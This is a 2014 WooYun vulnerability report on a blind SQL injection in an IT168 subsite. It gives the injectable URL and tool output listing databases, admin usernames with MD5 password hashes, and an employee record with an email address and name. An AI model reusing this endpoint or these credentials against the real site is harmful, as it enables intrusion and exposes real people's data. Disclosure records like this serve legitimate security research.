当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-074056
漏洞标题：
IT168分站盲注
相关厂商：
IT168.com
漏洞作者：
greg.wu
提交时间：
2014-08-27 15:11
修复时间：
2014-09-01 15:12
公开时间：
2014-09-01 15:12
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
15
漏洞状态：
漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-08-27： 细节已通知厂商并且等待厂商处理中
2014-09-01： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

盲注

详细说明：

注入点：
http://topic.it168.com/game/snapdragon1211/getdata.ashx?jsoncallback=?&articleTypeId=1
测试

11.JPG


22.JPG

漏洞证明：

目测数据不少
web server operating system: Windows 2008
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2012
[11:04:52] [INFO] fetching database names
[11:04:52] [INFO] fetching number of databases
available databases [13]:
[*] CMS2007
[*] cms_back
[*] CMS_Master
[*] cmsdb
[*] master
[*] model
[*] msdb
[*] PageStatic
[*] ReportServer
[*] ReportServerTempDB
[*] SeoDb
[*] tempdb
[*] TRC
跑些有密码的表
Database: cmsdb
Table: cms_User
[6 entries]
+--------+---------------+----------+----------+-------------------------------------------------+----------------+
| UserId | UserName | TrueName | UserType | Password | DefaultChannel |
+--------+---------------+----------+----------+-------------------------------------------------+----------------+
| 1 | Administrator | NULL | 1 | 70-6B-86-40-B9-FE-B3-3C-7F-41-16-60-D0-7D-F1-62 | 2 |
| 10 | tech05 | NULL | 2 | 97-10-EC-A1-C5-06-98-E8-1F-79-38-E2-F2-52-2E-83 | NULL |
| 100 | IT168存储频道 | NULL | 1 | 70-6B-86-40-B9-FE-B3-3C-7F-41-16-60-D0-7D-F1-62 | 253 |
| 101 | techtest | NULL | 1 | 35-A6-C9-55-DE-38-7C-17-C9-C0-B1-18-6C-17-B6-2F | 2 |
| 102 | cunchutest | NULL | 1 | 94-4E-0D-4C-E5-65-D4-C0-CC-10-93-35-24-17-0D-35 | 253 |
| 103 | xinxihuatest | NULL | 1 | 81-7A-FA-F5-DF-4D-5B-14-7F-85-B9-56-82-16-D0-82 | 254 |
+--------+---------------+----------+----------+-------------------------------------------------+----------------+
密码是md5 hash，亲测可以破解，就这样吧，还有几个库中有大量的员工数据：
----------------+--------------------+-------------+--------------+
| EmployeeId | Role | Password | LoginEmail | ModifyTime | CreateTime | IsAvailable | EmployeeName |
+------------+------+----------------------------------+-------------------+--------------------+--------------------+-------------+--------------+
| 1 | 4 | F59BD65F7EDAFB087A81D4DCA06C4910 | pepsi@pcpop.com | 03 4 2013 1:14PM | 07 16 2008 7:40PM | 0 | 洪琦 |
+------------+------+----------------------------------+-------------------+--------------------+--------------------+-------------+--------------+

修复方案：

。。

版权声明：转载请注明来源 greg.wu@乌云

>

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-09-01 15:12

厂商回复：

最新状态：

暂无